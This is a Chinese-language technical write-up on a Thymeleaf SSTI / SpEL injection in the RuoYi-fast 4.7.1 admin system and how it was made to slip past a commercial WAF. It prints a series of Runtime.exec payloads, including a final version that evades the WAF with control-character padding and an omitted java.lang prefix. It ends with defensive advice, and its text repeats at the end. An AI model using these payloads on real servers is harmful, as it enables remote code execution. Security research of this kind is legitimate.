记一次实战之若依SSTI注入绕过玄某盾
字数 1661 2025-08-27 12:33:48

Thymeleaf SSTI注入绕过玄某盾WAF技术分析

1. 漏洞背景

本文分析的是若依(RuoYi-fast)系统4.7.1版本中存在的Thymeleaf SSTI(服务器端模板注入)漏洞。该漏洞底层实际上是SpEL(Spring表达式语言)注入漏洞,但常规利用payload会被玄某盾WAF拦截。

2. 目标环境分析

原始测试环境:

  • SpringBoot 2.7.1
  • JDK 8
  • 若依系统4.7.1版本

3. 原始payload分析

3.1 常见Thymeleaf SSTI payload

fragment=${T (java.lang.Runtime).getRuntime().exec('command')}
fragment=__${T (java.lang.Runtime).getRuntime().exec('calc')}__::.x

这些payload会被玄某盾拦截,主要检测点:

  1. ${}模式
  2. T (java.lang.Runtime).getRuntime().exec('calc')这段SpEL表达式

3.2 WAF绕过思路

通过分析发现:

  • 使用__x代替${}可以绕过对${}的检测
  • 关键在于如何绕过对SpEL表达式的检测

4. SpEL表达式深入分析

4.1 SpEL解析过程

SpEL表达式的解析主要在InternalSpelExpressionParser#doParseExpression方法中完成,关键步骤如下:

  1. Tokenizer处理

    • Tokenizer#Tokenizer方法中,会在SpEL表达式最后添加空白字符作为结束标记
    • Tokenizer#process方法以字符为单位遍历表达式内容
  2. 标识符处理

    • 当字符为a-z或A-Z时,执行lexIdentifier方法
    • 继续遍历直到字符不是a-z、A-Z、0-9、_、$为止
    • 将遍历的字符封装在Token对象中,存储在List tokens中
  3. 特殊字符处理

    • 遇到\u0000\r\n\t (空格)时不作任何处理
    • 这些字符的URL编码:
      • \u0000%00
      • \r%0d
      • \n%0a
      • \t%09
      • 空格 → %20

4.2 SpEL执行过程

  1. TypeReference处理

    • 表达式以T开头时,对应org.springframework.expression.spel.ast.TypeReference
    • TypeReference#getValueInternal方法根据字符串typeName获取对应的Class对象实例
  2. 类查找机制

    • 通过ExpressionState#findType查找typeName对应的Class
    • 默认使用StandardTypeLocator,会自动添加java.lang前缀
    • 当直接查找失败时,会尝试添加java.lang前缀后再次查找

5. Payload演变过程

5.1 原始payload

T (java.lang.Runtime).getRuntime().exec('calc')

5.2 第一次绕过:添加特殊字符

T (%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')

URL编码版本:

http://localhost:9898/index?s=T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec(%27calc%27)

5.3 第二次绕过:利用自动补全机制

利用StandardTypeLocator会自动添加java.lang前缀的特性:

T (%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')

URL编码版本:

http://localhost:9898/index?s=T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec(%27calc%27)

6. 最终Thymeleaf SSTI绕过payload

结合上述分析,最终的绕过payload为:

__${T (%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x

7. 技术要点总结

  1. Thymeleaf SSTI本质:底层触发的是SpEL表达式注入
  2. WAF绕过关键
    • 使用__x代替${}绕过对${}的检测
    • 在SpEL表达式中插入特殊字符(%00, %0a, %0d, %09)绕过对关键字的检测
    • 利用SpEL的自动补全机制省略java.lang前缀
  3. SpEL特性利用
    • 解析器对特殊字符的忽略特性
    • StandardTypeLocator的自动补全机制

8. 防御建议

  1. 升级Thymeleaf和Spring框架到最新版本
  2. 禁用或限制SpEL表达式的功能
  3. 在WAF规则中添加对特殊字符组合的检测
  4. 对用户输入进行严格的过滤和验证

9. 参考链接

  1. Thymeleaf官方issue
  2. SpEL官方文档
  3. Thymeleaf SSTI分析文章
Thymeleaf SSTI注入绕过玄某盾WAF技术分析 1. 漏洞背景 本文分析的是若依(RuoYi-fast)系统4.7.1版本中存在的Thymeleaf SSTI(服务器端模板注入)漏洞。该漏洞底层实际上是SpEL(Spring表达式语言)注入漏洞,但常规利用payload会被玄某盾WAF拦截。 2. 目标环境分析 原始测试环境: SpringBoot 2.7.1 JDK 8 若依系统4.7.1版本 3. 原始payload分析 3.1 常见Thymeleaf SSTI payload 这些payload会被玄某盾拦截,主要检测点: ${} 模式 T (java.lang.Runtime).getRuntime().exec('calc') 这段SpEL表达式 3.2 WAF绕过思路 通过分析发现: 使用 __x 代替 ${} 可以绕过对 ${} 的检测 关键在于如何绕过对SpEL表达式的检测 4. SpEL表达式深入分析 4.1 SpEL解析过程 SpEL表达式的解析主要在 InternalSpelExpressionParser#doParseExpression 方法中完成,关键步骤如下: Tokenizer处理 : 在 Tokenizer#Tokenizer 方法中,会在SpEL表达式最后添加空白字符作为结束标记 Tokenizer#process 方法以字符为单位遍历表达式内容 标识符处理 : 当字符为a-z或A-Z时,执行 lexIdentifier 方法 继续遍历直到字符不是a-z、A-Z、0-9、_ 、$为止 将遍历的字符封装在Token对象中,存储在List tokens中 特殊字符处理 : 遇到 \u0000 、 \r 、 \n 、 \t 、 (空格)时不作任何处理 这些字符的URL编码: \u0000 → %00 \r → %0d \n → %0a \t → %09 空格 → %20 4.2 SpEL执行过程 TypeReference处理 : 表达式以 T 开头时,对应 org.springframework.expression.spel.ast.TypeReference 类 TypeReference#getValueInternal 方法根据字符串typeName获取对应的Class对象实例 类查找机制 : 通过 ExpressionState#findType 查找typeName对应的Class 默认使用 StandardTypeLocator ,会自动添加 java.lang 前缀 当直接查找失败时,会尝试添加 java.lang 前缀后再次查找 5. Payload演变过程 5.1 原始payload 5.2 第一次绕过:添加特殊字符 URL编码版本: 5.3 第二次绕过:利用自动补全机制 利用 StandardTypeLocator 会自动添加 java.lang 前缀的特性: URL编码版本: 6. 最终Thymeleaf SSTI绕过payload 结合上述分析,最终的绕过payload为: 7. 技术要点总结 Thymeleaf SSTI本质 :底层触发的是SpEL表达式注入 WAF绕过关键 : 使用 __x 代替 ${} 绕过对 ${} 的检测 在SpEL表达式中插入特殊字符( %00 , %0a , %0d , %09 )绕过对关键字的检测 利用SpEL的自动补全机制省略 java.lang 前缀 SpEL特性利用 : 解析器对特殊字符的忽略特性 StandardTypeLocator 的自动补全机制 8. 防御建议 升级Thymeleaf和Spring框架到最新版本 禁用或限制SpEL表达式的功能 在WAF规则中添加对特殊字符组合的检测 对用户输入进行严格的过滤和验证 9. 参考链接 Thymeleaf官方issue SpEL官方文档 Thymeleaf SSTI分析文章